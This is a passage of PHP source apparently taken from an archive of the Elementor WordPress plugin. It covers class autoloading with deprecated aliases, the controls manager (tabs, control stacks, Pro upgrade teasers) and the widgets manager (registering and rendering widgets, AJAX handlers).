@param string $delimiter * * @return mixed */ private static function normalize_class_name( $string, $delimiter = ' ' ) { return ucwords( str_replace( '-', '_', $string ), $delimiter ); } /** * Init classes aliases. * * When Elementor classes renamed or moved to different folders, developers * can still use the old names by setting an alias. * * While in deprecation period both classes will work. When the deprecation * period ends, the alies should be removed from the list of aliases. * * Usage: * * self::$classes_aliases = [ * 'Namespace\OldClassName' => [ * 'replacement' => 'Namespace\NewClassName', * 'version' => '3.0.0', * ], * 'Namespace\OldModule\ClassName' => [ * 'replacement' => 'Namespace\NewModule\ClassName', * 'version' => '3.5.0', * ], * ]; * * @access private * @static * * @return void */ private static function init_classes_aliases() { self::$classes_aliases = [ 'System_Info\Main' => [ 'replacement' => 'Modules\System_Info\Module', 'version' => '2.9.0', ], 'System_Info\Classes\Abstracts\Base_Reporter' => [ 'replacement' => 'Modules\System_Info\Reporters\Base', 'version' => '2.9.0', ], 'System_Info\Classes\Server_Reporter' => [ 'replacement' => 'Modules\System_Info\Reporters\Server', 'version' => '2.9.0', ], 'System_Info\Classes\MU_Plugins_Reporter' => [ 'replacement' => 'Modules\System_Info\Reporters\MU_Plugins', 'version' => '2.9.0', ], 'System_Info\Classes\Network_Plugins_Reporter' => [ 'replacement' => 'Modules\System_Info\Reporters\Network_Plugins', 'version' => '2.9.0', ], 'System_Info\Classes\Plugins_Reporter' => [ 'replacement' => 'Modules\System_Info\Reporters\Plugins', 'version' => '2.9.0', ], 'System_Info\Classes\Theme_Reporter' => [ 'replacement' => 'Modules\System_Info\Reporters\Theme', 'version' => '2.9.0', ], 'System_Info\Classes\User_Reporter' => [ 'replacement' => 'Modules\System_Info\Reporters\User', 'version' => '2.9.0', ], 'System_Info\Helpers\Model_Helper' => [ 'replacement' => 'Modules\System_Info\Helpers\Model_Helper', 'version' => '2.9.0', ], ]; } /** * Load class. * * For a given class name, require the class file. * * @since 1.6.0 * @access private * @static * * @param string $relative_class_name Class name. */ private static function load_class( $relative_class_name ) { $classes_map = self::get_classes_map(); if ( isset( $classes_map[ $relative_class_name ] ) ) { $filename = self::$default_path . '/' . $classes_map[ $relative_class_name ]; } else { $filename = strtolower( preg_replace( [ '/([a-z])([A-Z])/', '/_/', '/\\\/' ], [ '$1-$2', '-', DIRECTORY_SEPARATOR ], $relative_class_name ) ); $filename = self::$default_path . $filename . '.php'; } if ( is_readable( $filename ) ) { require $filename; } } /** * Autoload. * * For a given class, check if it exist and load it. * * @since 1.6.0 * @access private * @static * * @param string $class Class name. */ private static function autoload( $class ) { if ( 0 !== strpos( $class, self::$default_namespace . '\\' ) ) { return; } $relative_class_name = preg_replace( '/^' . self::$default_namespace . '\\\/', '', $class ); $classes_aliases = self::get_classes_aliases(); $has_class_alias = isset( $classes_aliases[ $relative_class_name ] ); // Backward Compatibility: Save old class name for set an alias after the new class is loaded if ( $has_class_alias ) { $alias_data = $classes_aliases[ $relative_class_name ]; $relative_class_name = $alias_data['replacement']; } $final_class_name = self::$default_namespace . '\\' . $relative_class_name; if ( ! class_exists( $final_class_name ) ) { self::load_class( $relative_class_name ); } if ( $has_class_alias ) { class_alias( $final_class_name, $class ); Utils::handle_deprecation( $class, $alias_data['version'], $final_class_name ); } } } includes/managers/controls.php000064400000100670147206604650012541 0ustar00 esc_html__( 'Content', 'elementor' ), self::TAB_STYLE => esc_html__( 'Style', 'elementor' ), self::TAB_ADVANCED => esc_html__( 'Advanced', 'elementor' ), self::TAB_RESPONSIVE => esc_html__( 'Responsive', 'elementor' ), self::TAB_LAYOUT => esc_html__( 'Layout', 'elementor' ), self::TAB_SETTINGS => esc_html__( 'Settings', 'elementor' ), ]; } /** * Get tabs. * * Retrieve the tabs of the current control. * * @since 1.6.0 * @access public * @static * * @return array Control tabs. */ public static function get_tabs() { if ( ! self::$tabs ) { self::init_tabs(); } return self::$tabs; } /** * Add tab. * * This method adds a new tab to the current control. * * @since 1.6.0 * @access public * @static * * @param string $tab_name Tab name. * @param string $tab_label Tab label. */ public static function add_tab( $tab_name, $tab_label = '' ) { if ( ! self::$tabs ) { self::init_tabs(); } if ( isset( self::$tabs[ $tab_name ] ) ) { return; } self::$tabs[ $tab_name ] = $tab_label; } public static function get_groups_names() { // Group name must use "-" instead of "_" return [ 'background', 'border', 'typography', 'image-size', 'box-shadow', 'css-filter', 'text-shadow', 'flex-container', 'grid-container', 'flex-item', 'text-stroke', ]; } public static function get_controls_names() { return [ self::TEXT, self::NUMBER, self::TEXTAREA, self::SELECT, self::SWITCHER, self::BUTTON, self::HIDDEN, self::HEADING, self::RAW_HTML, self::POPOVER_TOGGLE, self::SECTION, self::TAB, self::TABS, self::DIVIDER, self::DEPRECATED_NOTICE, self::ALERT, self::NOTICE, self::COLOR, self::MEDIA, self::SLIDER, self::DIMENSIONS, self::CHOOSE, self::WYSIWYG, self::CODE, self::FONT, self::IMAGE_DIMENSIONS, self::GAPS, self::WP_WIDGET, self::URL, self::REPEATER, self::ICON, self::ICONS, self::GALLERY, self::STRUCTURE, self::SELECT2, self::DATE_TIME, self::BOX_SHADOW, self::TEXT_SHADOW, self::ANIMATION, self::HOVER_ANIMATION, self::EXIT_ANIMATION, ]; } /** * Register controls. * * This method creates a list of all the supported controls by requiring the * control files and initializing each one of them. * * The list of supported controls includes the regular controls and the group * controls. * * External developers can register new controls by hooking to the * `elementor/controls/controls_registered` action. * * @since 3.1.0 * @access private */ private function register_controls() { $this->controls = []; foreach ( self::get_controls_names() as $control_id ) { $control_class_id = str_replace( ' ', '_', ucwords( str_replace( '_', ' ', $control_id ) ) ); $class_name = __NAMESPACE__ . '\Control_' . $control_class_id; $this->register( new $class_name() ); } // Group Controls foreach ( self::get_groups_names() as $group_name ) { $group_class_id = str_replace( ' ', '_', ucwords( str_replace( '-', ' ', $group_name ) ) ); $class_name = __NAMESPACE__ . '\Group_Control_' . $group_class_id; $this->control_groups[ $group_name ] = new $class_name(); } /** * After controls registered. * * Fires after Elementor controls are registered. * * @since 1.0.0 * @deprecated 3.5.0 Use `elementor/controls/register` hook instead. * * @param Controls_Manager $this The controls manager. */ // TODO: Uncomment when Pro uses the new hook. //Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->do_deprecated_action( // 'elementor/controls/controls_registered', // [ $this ], // '3.5.0', // 'elementor/controls/register' //); do_action( 'elementor/controls/controls_registered', $this ); /** * After controls registered. * * Fires after Elementor controls are registered. * * @since 3.5.0 * * @param Controls_Manager $this The controls manager. */ do_action( 'elementor/controls/register', $this ); } /** * Register control. * * This method adds a new control to the controls list. It adds any given * control to any given control instance. * * @since 1.0.0 * @access public * @deprecated 3.5.0 Use `register()` method instead. * * @param string $control_id Control ID. * @param Base_Control $control_instance Control instance, usually the * current instance. */ public function register_control( $control_id, Base_Control $control_instance ) { // TODO: Uncomment when Pro uses the new hook. //Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( // __METHOD__, // '3.5.0', // 'register()' //); $this->register( $control_instance, $control_id ); } /** * Register control. * * This method adds a new control to the controls list. It adds any given * control to any given control instance. * * @since 3.5.0 * @access public * * @param Base_Control $control_instance Control instance, usually the current instance. * @param string $control_id Control ID. Deprecated parameter. * * @return void */ public function register( Base_Control $control_instance, $control_id = null ) { // TODO: For BC. Remove in the future. if ( $control_id ) { Plugin::instance()->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_argument( '$control_id', '3.5.0' ); } else { $control_id = $control_instance->get_type(); } $this->controls[ $control_id ] = $control_instance; } /** * Unregister control. * * This method removes control from the controls list. * * @since 1.0.0 * @access public * @deprecated 3.5.0 Use `unregister()` method instead. * * @param string $control_id Control ID. * * @return bool True if the control was removed, False otherwise. */ public function unregister_control( $control_id ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'unregister()' ); return $this->unregister( $control_id ); } /** * Unregister control. * * This method removes control from the controls list. * * @since 3.5.0 * @access public * * @param string $control_id Control ID. * * @return bool Whether the controls has been unregistered. */ public function unregister( $control_id ) { if ( ! isset( $this->controls[ $control_id ] ) ) { return false; } unset( $this->controls[ $control_id ] ); return true; } /** * Get controls. * * Retrieve the controls list from the current instance. * * @since 1.0.0 * @access public * * @return Base_Control[] Controls list. */ public function get_controls() { if ( null === $this->controls ) { $this->register_controls(); } return $this->controls; } /** * Get control. * * Retrieve a specific control from the current controls instance. * * @since 1.0.0 * @access public * * @param string $control_id Control ID. * * @return bool|Base_Control Control instance, or False otherwise. */ public function get_control( $control_id ) { $controls = $this->get_controls(); return isset( $controls[ $control_id ] ) ? $controls[ $control_id ] : false; } /** * Get controls data. * * Retrieve all the registered controls and all the data for each control. * * @since 1.0.0 * @access public * * @return array { * Control data. * * @type array $name Control data. * } */ public function get_controls_data() { $controls_data = []; foreach ( $this->get_controls() as $name => $control ) { $controls_data[ $name ] = $control->get_settings(); } return $controls_data; } /** * Render controls. * * Generate the final HTML for all the registered controls using the element * template. * * @since 1.0.0 * @access public */ public function render_controls() { foreach ( $this->get_controls() as $control ) { $control->print_template(); } } /** * Get control groups. * * Retrieve a specific group for a given ID, or a list of all the control * groups. * * If the given group ID is wrong, it will return `null`. When the ID valid, * it will return the group control instance. When no ID was given, it will * return all the control groups. * * @since 1.0.10 * @access public * * @param string $id Optional. Group ID. Default is null. * * @return null|Group_Control_Base|Group_Control_Base[] */ public function get_control_groups( $id = null ) { if ( $id ) { return isset( $this->control_groups[ $id ] ) ? $this->control_groups[ $id ] : null; } return $this->control_groups; } /** * Add group control. * * This method adds a new group control to the control groups list. It adds * any given group control to any given group control instance. * * @since 1.0.0 * @access public * * @param string $id Group control ID. * @param Group_Control_Base $instance Group control instance, usually the * current instance. * * @return Group_Control_Base Group control instance. */ public function add_group_control( $id, $instance ) { $this->control_groups[ $id ] = $instance; return $instance; } /** * Enqueue control scripts and styles. * * Used to register and enqueue custom scripts and styles used by the control. * * @since 1.0.0 * @access public */ public function enqueue_control_scripts() { foreach ( $this->get_controls() as $control ) { $control->enqueue(); } } /** * Open new stack. * * This method adds a new stack to the control stacks list. It adds any * given stack to the current control instance. * * @since 1.0.0 * @access public * * @param Controls_Stack $controls_stack Controls stack. */ public function open_stack( Controls_Stack $controls_stack ) { $stack_id = $controls_stack->get_unique_name(); $this->stacks[ $stack_id ] = [ 'tabs' => [], 'controls' => [], 'style_controls' => [], 'responsive_control_duplication_mode' => Plugin::$instance->breakpoints->get_responsive_control_duplication_mode(), ]; } /** * Remove existing stack from the stacks cache * * Removes the stack of a passed instance from the Controls Manager's stacks cache. * * @param Controls_Stack $controls_stack * @return void */ public function delete_stack( Controls_Stack $controls_stack ) { $stack_id = $controls_stack->get_unique_name(); unset( $this->stacks[ $stack_id ] ); } /** * Add control to stack. * * This method adds a new control to the stack. * * @since 1.0.0 * @access public * * @param Controls_Stack $element Element stack. * @param string $control_id Control ID. * @param array $control_data Control data. * @param array $options Optional. Control additional options. * Default is an empty array. * * @return bool True if control added, False otherwise. */ public function add_control_to_stack( Controls_Stack $element, $control_id, $control_data, $options = [] ) { $default_options = [ 'overwrite' => false, 'index' => null, ]; $control_type = 'controls'; if ( Performance::is_optimized_control_loading_feature_enabled() && Performance::should_optimize_controls() && $this->is_style_control( $control_data ) ) { $control_type = 'style_controls'; } $options = array_merge( $default_options, $options ); $default_args = [ 'type' => self::TEXT, 'tab' => self::TAB_CONTENT, ]; $control_data['name'] = $control_id; $control_data = array_merge( $default_args, $control_data ); $control_type_instance = $this->get_control( $control_data['type'] ); if ( ! $control_type_instance ) { _doing_it_wrong( sprintf( '%1$s::%2$s', __CLASS__, __FUNCTION__ ), sprintf( 'Control type "%s" not found.', esc_html( $control_data['type'] ) ), '1.0.0' ); return false; } if ( $control_type_instance instanceof Has_Validation ) { try { $control_type_instance->validate( $control_data ); } catch ( \Exception $e ) { _doing_it_wrong( sprintf( '%1$s::%2$s', __CLASS__, __FUNCTION__ ), esc_html( $e->getMessage() ), '3.23.0' ); return false; } } if ( $control_type_instance instanceof Base_Data_Control ) { $control_default_value = $control_type_instance->get_default_value(); if ( is_array( $control_default_value ) ) { $control_data['default'] = isset( $control_data['default'] ) ? array_merge( $control_default_value, $control_data['default'] ) : $control_default_value; } else { $control_data['default'] = isset( $control_data['default'] ) ? $control_data['default'] : $control_default_value; } } $stack_id = $element->get_unique_name(); if ( ! $options['overwrite'] && isset( $this->stacks[ $stack_id ][ $control_type ][ $control_id ] ) ) { _doing_it_wrong( sprintf( '%1$s::%2$s', __CLASS__, __FUNCTION__ ), sprintf( 'Cannot redeclare control with same name "%s".', esc_html( $control_id ) ), '1.0.0' ); return false; } $tabs = self::get_tabs(); if ( ! isset( $tabs[ $control_data['tab'] ] ) ) { $control_data['tab'] = $default_args['tab']; } $this->stacks[ $stack_id ]['tabs'][ $control_data['tab'] ] = $tabs[ $control_data['tab'] ]; $this->stacks[ $stack_id ][ $control_type ][ $control_id ] = $control_data; if ( null !== $options['index'] ) { $controls = $this->stacks[ $stack_id ][ $control_type ]; $controls_keys = array_keys( $controls ); array_splice( $controls_keys, $options['index'], 0, $control_id ); $this->stacks[ $stack_id ][ $control_type ] = array_merge( array_flip( $controls_keys ), $controls ); } return true; } /** * Remove control from stack. * * This method removes a control a the stack. * * @since 1.0.0 * @access public * * @param string $stack_id Stack ID. * @param array|string $control_id The ID of the control to remove. * * @return bool|\WP_Error True if the stack was removed, False otherwise. */ public function remove_control_from_stack( $stack_id, $control_id ) { if ( is_array( $control_id ) ) { foreach ( $control_id as $id ) { $this->remove_control_from_stack( $stack_id, $id ); } return true; } if ( empty( $this->stacks[ $stack_id ]['controls'][ $control_id ] ) ) { return new \WP_Error( 'Cannot remove not-exists control.' ); } unset( $this->stacks[ $stack_id ]['controls'][ $control_id ] ); return true; } /** * Has Stacks Cache Been Cleared. * @since 3.13.0 * @access public * @return bool True if the CSS requires to clear the controls stack cache, False otherwise. */ public function has_stacks_cache_been_cleared() { return $this->has_stacks_cache_been_cleared; } /** * Clear stack. * This method clears the stack. * @since 3.13.0 * @access public */ public function clear_stack_cache() { $this->stacks = []; $this->has_stacks_cache_been_cleared = true; } /** * Get control from stack. * * Retrieve a specific control for a given a specific stack. * * If the given control does not exist in the stack, or the stack does not * exist, it will return `WP_Error`. Otherwise, it will retrieve the control * from the stack. * * @since 1.1.0 * @access public * * @param string $stack_id Stack ID. * @param string $control_id Control ID. * * @return array|\WP_Error The control, or an error. */ public function get_control_from_stack( $stack_id, $control_id ) { $stack_data = $this->get_stacks( $stack_id ); if ( ! empty( $stack_data['controls'][ $control_id ] ) ) { return $stack_data['controls'][ $control_id ]; } if ( ! empty( $stack_data['style_controls'][ $control_id ] ) ) { return $stack_data['style_controls'][ $control_id ]; } return new \WP_Error( 'Cannot get a not-exists control.' ); } /** * Update control in stack. * * This method updates the control data for a given stack. * * @since 1.1.0 * @access public * * @param Controls_Stack $element Element stack. * @param string $control_id Control ID. * @param array $control_data Control data. * @param array $options Optional. Control additional options. * Default is an empty array. * * @return bool True if control updated, False otherwise. */ public function update_control_in_stack( Controls_Stack $element, $control_id, $control_data, array $options = [] ) { $old_control_data = $this->get_control_from_stack( $element->get_unique_name(), $control_id ); if ( is_wp_error( $old_control_data ) ) { return false; } if ( ! empty( $options['recursive'] ) ) { $control_data = array_replace_recursive( $old_control_data, $control_data ); } else { $control_data = array_merge( $old_control_data, $control_data ); } return $this->add_control_to_stack( $element, $control_id, $control_data, [ 'overwrite' => true, ] ); } /** * Get stacks. * * Retrieve a specific stack for the list of stacks. * * If the given stack is wrong, it will return `null`. When the stack valid, * it will return the the specific stack. When no stack was given, it will * return all the stacks. * * @since 1.7.1 * @access public * * @param string $stack_id Optional. stack ID. Default is null. * * @return null|array A list of stacks. */ public function get_stacks( $stack_id = null ) { if ( $stack_id ) { if ( isset( $this->stacks[ $stack_id ] ) ) { return $this->stacks[ $stack_id ]; } return null; } return $this->stacks; } /** * Get element stack. * * Retrieve a specific stack for the list of stacks from the current instance. * * @since 1.0.0 * @access public * * @param Controls_Stack $controls_stack Controls stack. * * @return null|array Stack data if it exists, `null` otherwise. */ public function get_element_stack( Controls_Stack $controls_stack ) { $stack_id = $controls_stack->get_unique_name(); if ( ! isset( $this->stacks[ $stack_id ] ) ) { return null; } if ( $this->should_clean_stack( $this->stacks[ $stack_id ] ) ) { $this->delete_stack( $controls_stack ); return null; } return $this->stacks[ $stack_id ]; } /** * Add custom CSS controls. * * This method adds a new control for the "Custom CSS" feature. The free * version of elementor uses this method to display an upgrade message to * Elementor Pro. * * @since 1.0.0 * @access public * * @param Controls_Stack $controls_stack . * @param string $tab * @param array $additional_messages * */ public function add_custom_css_controls( Controls_Stack $controls_stack, $tab = self::TAB_ADVANCED, $additional_messages = [] ) { $controls_stack->start_controls_section( 'section_custom_css_pro', [ 'label' => esc_html__( 'Custom CSS', 'elementor' ), 'tab' => $tab, ] ); $messages = [ esc_html__( 'Custom CSS lets you add CSS code to any widget, and see it render live right in the editor.', 'elementor' ), ]; if ( $additional_messages ) { $messages = array_merge( $messages, $additional_messages ); } $controls_stack->add_control( 'custom_css_pro', [ 'type' => self::RAW_HTML, 'raw' => $this->get_teaser_template( [ 'title' => esc_html__( 'Meet Our Custom CSS', 'elementor' ), 'messages' => $messages, 'link' => 'https://go.elementor.com/go-pro-custom-css/', ] ), ] ); $controls_stack->end_controls_section(); } /** * Add Page Transitions controls. * * This method adds a new control for the "Page Transitions" feature. The Core * version of elementor uses this method to display an upgrade message to * Elementor Pro. * * @param Controls_Stack $controls_stack . * @param string $tab * @param array $additional_messages * * @return void */ public function add_page_transitions_controls( Controls_Stack $controls_stack, $tab = self::TAB_ADVANCED, $additional_messages = [] ) { $controls_stack->start_controls_section( 'section_page_transitions_teaser', [ 'label' => esc_html__( 'Page Transitions', 'elementor' ), 'tab' => $tab, ] ); $messages = [ esc_html__( 'Page Transitions let you style entrance and exit animations between pages as well as display loader until your page assets load.', 'elementor' ), ]; if ( $additional_messages ) { $messages = array_merge( $messages, $additional_messages ); } $controls_stack->add_control( 'page_transitions_teaser', [ 'type' => self::RAW_HTML, 'raw' => $this->get_teaser_template( [ 'title' => esc_html__( 'Meet Page Transitions', 'elementor' ), 'messages' => $messages, 'link' => 'https://go.elementor.com/go-pro-page-transitions/', ] ), ] ); $controls_stack->end_controls_section(); } public function get_teaser_template( $texts ) { ob_start(); ?>
start_controls_section( 'section_custom_attributes_pro', [ 'label' => esc_html__( 'Attributes', 'elementor' ), 'tab' => $tab, ] ); $controls_stack->add_control( 'custom_attributes_pro', [ 'type' => self::RAW_HTML, 'raw' => $this->get_teaser_template( [ 'title' => esc_html__( 'Meet Our Attributes', 'elementor' ), 'messages' => [ esc_html__( 'Attributes lets you add custom HTML attributes to any element.', 'elementor' ), ], 'link' => 'https://go.elementor.com/go-pro-custom-attributes/', ] ), ] ); $controls_stack->end_controls_section(); } /** * Check if a stack should be cleaned by the current responsive control duplication mode. * * @param $stack * @return bool */ private function should_clean_stack( $stack ): bool { if ( ! isset( $stack['responsive_control_duplication_mode'] ) ) { return false; } $stack_duplication_mode = $stack['responsive_control_duplication_mode']; // This array provides a convenient way to map human-readable mode names to numeric values for comparison. // If the current stack's mode is greater than or equal to the current mode, then we shouldn't clean the stack. $modes = [ 'off' => 1, 'dynamic' => 2, 'on' => 3, ]; if ( ! isset( $modes[ $stack_duplication_mode ] ) ) { return false; } $current_duplication_mode = Plugin::$instance->breakpoints->get_responsive_control_duplication_mode(); if ( $modes[ $stack_duplication_mode ] >= $modes[ $current_duplication_mode ] ) { return false; } return true; } public function add_display_conditions_controls( Controls_Stack $controls_stack ) { if ( Utils::has_pro() ) { return; } ob_start(); ?>
add_control( 'display_conditions_pro', [ 'type' => self::RAW_HTML, 'separator' => 'before', 'raw' => $control_template, ] ); } public function add_motion_effects_promotion_control( Controls_Stack $controls_stack ) { if ( Utils::has_pro() ) { return; } $controls_stack->add_control( 'scrolling_effects_pro', [ 'type' => self::RAW_HTML, 'separator' => 'before', 'raw' => $this->promotion_switcher_control( esc_html__( 'Scrolling Effects', 'elementor' ), 'scrolling-effects' ), ] ); $controls_stack->add_control( 'mouse_effects_pro', [ 'type' => self::RAW_HTML, 'separator' => 'before', 'raw' => $this->promotion_switcher_control( esc_html__( 'Mouse Effects', 'elementor' ), 'mouse-effects' ), ] ); $controls_stack->add_control( 'sticky_pro', [ 'type' => self::RAW_HTML, 'separator' => 'before', 'raw' => $this->promotion_select_control( esc_html__( 'Sticky', 'elementor' ), 'sticky-effects' ), ] ); $controls_stack->add_control( 'motion_effects_promotion_divider', [ 'type' => self::DIVIDER, ] ); } private function promotion_switcher_control( $title, $id ): string { return '
'; } private function promotion_select_control( $title, $id ): string { return '
None
'; } private function is_style_control( $control_data ): bool { $frontend_available = $control_data['frontend_available'] ?? false; if ( $frontend_available ) { return false; } if ( ! empty( $control_data['control_type'] ) && 'content' === $control_data['control_type'] ) { return false; } if ( ! empty( $control_data['prefix_class'] ) ) { return false; } $render_type = $control_data['render_type'] ?? ''; if ( 'template' === $render_type ) { return false; } if ( 'ui' === $render_type ) { return true; } if ( ! empty( $control_data['selectors'] ) ) { return true; } return false; } } includes/managers/widgets.php000064400000040641147206604650012345 0ustar00 [ NestedTabs::class, Nested_Accordion::class, ], ]; /** * Init widgets. * * Initialize Elementor widgets manager. Include all the widgets files * and register each Elementor and WordPress widget. * * @since 2.0.0 * @access private */ private function init_widgets() { $build_widgets_filename = [ 'common', 'inner-section', 'heading', 'image', 'text-editor', 'video', 'button', 'divider', 'spacer', 'image-box', 'google-maps', 'icon', 'icon-box', 'star-rating', 'image-carousel', 'image-gallery', 'icon-list', 'counter', 'progress', 'testimonial', 'tabs', 'accordion', 'toggle', 'social-icons', 'alert', 'audio', 'shortcode', 'html', 'menu-anchor', 'sidebar', 'read-more', 'rating', 'share-buttons', ]; $this->_widget_types = []; $this->register_promoted_widgets(); foreach ( $build_widgets_filename as $widget_filename ) { include ELEMENTOR_PATH . 'includes/widgets/' . $widget_filename . '.php'; $class_name = str_replace( '-', '_', $widget_filename ); $class_name = __NAMESPACE__ . '\Widget_' . $class_name; $this->register( new $class_name() ); } $this->register_wp_widgets(); /** * After widgets registered. * * Fires after Elementor widgets are registered. * * @since 1.0.0 * @deprecated 3.5.0 Use `elementor/widgets/register` hook instead. * * @param Widgets_Manager $this The widgets manager. */ Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->do_deprecated_action( 'elementor/widgets/widgets_registered', [ $this ], '3.5.0', 'elementor/widgets/register' ); /** * After widgets registered. * * Fires after Elementor widgets are registered. * * @since 3.5.0 * * @param Widgets_Manager $this The widgets manager. */ do_action( 'elementor/widgets/register', $this ); } /** * Register WordPress widgets. * * Add native WordPress widget to the list of registered widget types. * * Exclude the widgets that are in Elementor widgets black list. Theme and * plugin authors can filter the black list. * * @since 2.0.0 * @access private */ private function register_wp_widgets() { global $wp_widget_factory; // Allow themes/plugins to filter out their widgets. $black_list = []; /** * Elementor widgets black list. * * Filters the widgets black list that won't be displayed in the panel. * * @since 1.0.0 * * @param array $black_list A black list of widgets. Default is an empty array. */ $black_list = apply_filters( 'elementor/widgets/black_list', $black_list ); foreach ( $wp_widget_factory->widgets as $widget_class => $widget_obj ) { if ( in_array( $widget_class, $black_list ) ) { continue; } $elementor_widget_class = __NAMESPACE__ . '\Widget_WordPress'; $this->register( new $elementor_widget_class( [], [ 'widget_name' => $widget_class, ] ) ); } } /** * Require files. * * Require Elementor widget base class. * * @since 2.0.0 * @access private */ private function require_files() { require ELEMENTOR_PATH . 'includes/base/widget-base.php'; } private function pluck_default_controls( $controls ) { return ( new Collection( $controls ) ) ->reduce( function ( $controls_defaults, $control, $control_key ) { if ( ! empty( $control['default'] ) ) { $controls_defaults[ $control_key ]['default'] = $control['default']; } return $controls_defaults; }, [] ); } /** * Register widget type. * * Add a new widget type to the list of registered widget types. * * @since 1.0.0 * @access public * @deprecated 3.5.0 Use `register()` method instead. * * @param Widget_Base $widget Elementor widget. * * @return true True if the widget was registered. */ public function register_widget_type( Widget_Base $widget ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'register()' ); return $this->register( $widget ); } /** * Register a new widget type. * * @param \Elementor\Widget_Base $widget_instance Elementor Widget. * * @return bool True if the widget was registered. * @since 3.5.0 * @access public */ public function register( Widget_Base $widget_instance ) { if ( is_null( $this->_widget_types ) ) { $this->init_widgets(); } /** * Should widget be registered. * * @since 3.18.0 * * @param bool $should_register Should widget be registered. Default is `true`. * @param \Elementor\Widget_Base $widget_instance Widget instance. */ $should_register = apply_filters( 'elementor/widgets/is_widget_enabled', true, $widget_instance ); if ( ! $should_register ) { return false; } $this->_widget_types[ $widget_instance->get_name() ] = $widget_instance; return true; } /** Register promoted widgets * * Since we cannot allow widgets to place themselves is a specific * location on our widgets panel we need to use a hard coded solution for this. * * @return void */ private function register_promoted_widgets() { foreach ( $this->promoted_widgets as $experiment_name => $classes ) { $this->register_promoted_active_widgets( $experiment_name, $classes ); } } /** * Unregister widget type. * * Removes widget type from the list of registered widget types. * * @since 1.0.0 * @access public * @deprecated 3.5.0 Use `unregister()` method instead. * * @param string $name Widget name. * * @return true True if the widget was unregistered, False otherwise. */ public function unregister_widget_type( $name ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0', 'unregister()' ); return $this->unregister( $name ); } /** * Unregister widget type. * * Removes widget type from the list of registered widget types. * * @since 3.5.0 * @access public * * @param string $name Widget name. * * @return boolean Whether the widget was unregistered. */ public function unregister( $name ) { if ( ! isset( $this->_widget_types[ $name ] ) ) { return false; } unset( $this->_widget_types[ $name ] ); return true; } /** * Get widget types. * * Retrieve the registered widget types list. * * @since 1.0.0 * @access public * * @param string $widget_name Optional. Widget name. Default is null. * * @return Widget_Base|Widget_Base[]|null Registered widget types. */ public function get_widget_types( $widget_name = null ) { if ( is_null( $this->_widget_types ) ) { $this->init_widgets(); } if ( null !== $widget_name ) { return isset( $this->_widget_types[ $widget_name ] ) ? $this->_widget_types[ $widget_name ] : null; } return $this->_widget_types; } /** * Get widget types config. * * Retrieve all the registered widgets with config for each widgets. * * @since 1.0.0 * @access public * * @return array Registered widget types with each widget config. */ public function get_widget_types_config() { $config = []; foreach ( $this->get_widget_types() as $widget_key => $widget ) { $config[ $widget_key ] = $widget->get_config(); } return $config; } /** * @throws \Exception */ public function ajax_get_widget_types_controls_config( array $data ) { Plugin::$instance->documents->check_permissions( $data['editor_post_id'] ); wp_raise_memory_limit( 'admin' ); $config = []; foreach ( $this->get_widget_types() as $widget_key => $widget ) { if ( isset( $data['exclude'][ $widget_key ] ) ) { continue; } $config[ $widget_key ] = [ 'controls' => $widget->get_stack( false )['controls'], 'tabs_controls' => $widget->get_tabs_controls(), ]; } return $config; } public function ajax_get_widgets_default_value_translations( array $data = [] ) { $locale = empty( $data['locale'] ) ? get_locale() : $data['locale']; $force_locale = new Force_Locale( $locale ); $force_locale->force(); $controls = ( new Collection( $this->get_widget_types() ) ) ->map( function ( Widget_Base $widget ) { $controls = $widget->get_stack( false )['controls']; return [ 'controls' => $this->pluck_default_controls( $controls ), ]; } ) ->filter( function ( $widget ) { return ! empty( $widget['controls'] ); } ) ->all(); $force_locale->restore(); return $controls; } /** * Ajax render widget. * * Ajax handler for Elementor render_widget. * * Fired by `wp_ajax_elementor_render_widget` action. * * @since 1.0.0 * @access public * * @throws \Exception If current user don't have permissions to edit the post. * * @param array $request Ajax request. * * @return array { * Rendered widget. * * @type string $render The rendered HTML. * } */ public function ajax_render_widget( $request ) { $document = Plugin::$instance->documents->get_with_permissions( $request['editor_post_id'] ); // Override the global $post for the render. query_posts( [ 'p' => $request['editor_post_id'], 'post_type' => 'any', ] ); $editor = Plugin::$instance->editor; $is_edit_mode = $editor->is_edit_mode(); $editor->set_edit_mode( true ); Plugin::$instance->documents->switch_to_document( $document ); $render_html = $document->render_element( $request['data'] ); $editor->set_edit_mode( $is_edit_mode ); return [ 'render' => $render_html, ]; } /** * Ajax get WordPress widget form. * * Ajax handler for Elementor editor get_wp_widget_form. * * Fired by `wp_ajax_elementor_editor_get_wp_widget_form` action. * * @since 1.0.0 * @access public * * @param array $request Ajax request. * * @return bool|string Rendered widget form. * @throws \Exception */ public function ajax_get_wp_widget_form( $request ) { Plugin::$instance->documents->check_permissions( $request['editor_post_id'] ); if ( empty( $request['widget_type'] ) ) { return false; } if ( empty( $request['data'] ) ) { $request['data'] = []; } $element_data = [ 'id' => $request['id'], 'elType' => 'widget', 'widgetType' => $request['widget_type'], 'settings' => $request['data'], ]; /** * @var $widget_obj Widget_WordPress */ $widget_obj = Plugin::$instance->elements_manager->create_element_instance( $element_data ); if ( ! $widget_obj ) { return false; } return $widget_obj->get_form(); } /** * Render widgets content. * * Used to generate the widget templates on the editor using Underscore JS * template, for all the registered widget types. * * @since 1.0.0 * @access public */ public function render_widgets_content() { foreach ( $this->get_widget_types() as $widget ) { $widget->print_template(); } } /** * Get widgets frontend settings keys. * * Retrieve frontend controls settings keys for all the registered widget * types. * * @since 1.3.0 * @access public * * @return array Registered widget types with settings keys for each widget. */ public function get_widgets_frontend_settings_keys() { $keys = []; foreach ( $this->get_widget_types() as $widget_type_name => $widget_type ) { $widget_type_keys = $widget_type->get_frontend_settings_keys(); if ( $widget_type_keys ) { $keys[ $widget_type_name ] = $widget_type_keys; } } return $keys; } /** * Widgets with styles. * * This method returns the list of all the widgets in the `/includes/` * folder that have styles. * * @since 3.24.0 * @access public * * @return array The names of the widgets that have styles. */ public function widgets_with_styles(): array { return [ 'counter', 'divider', 'google_maps', 'heading', 'image', 'image-carousel', 'menu-anchor', 'rating', 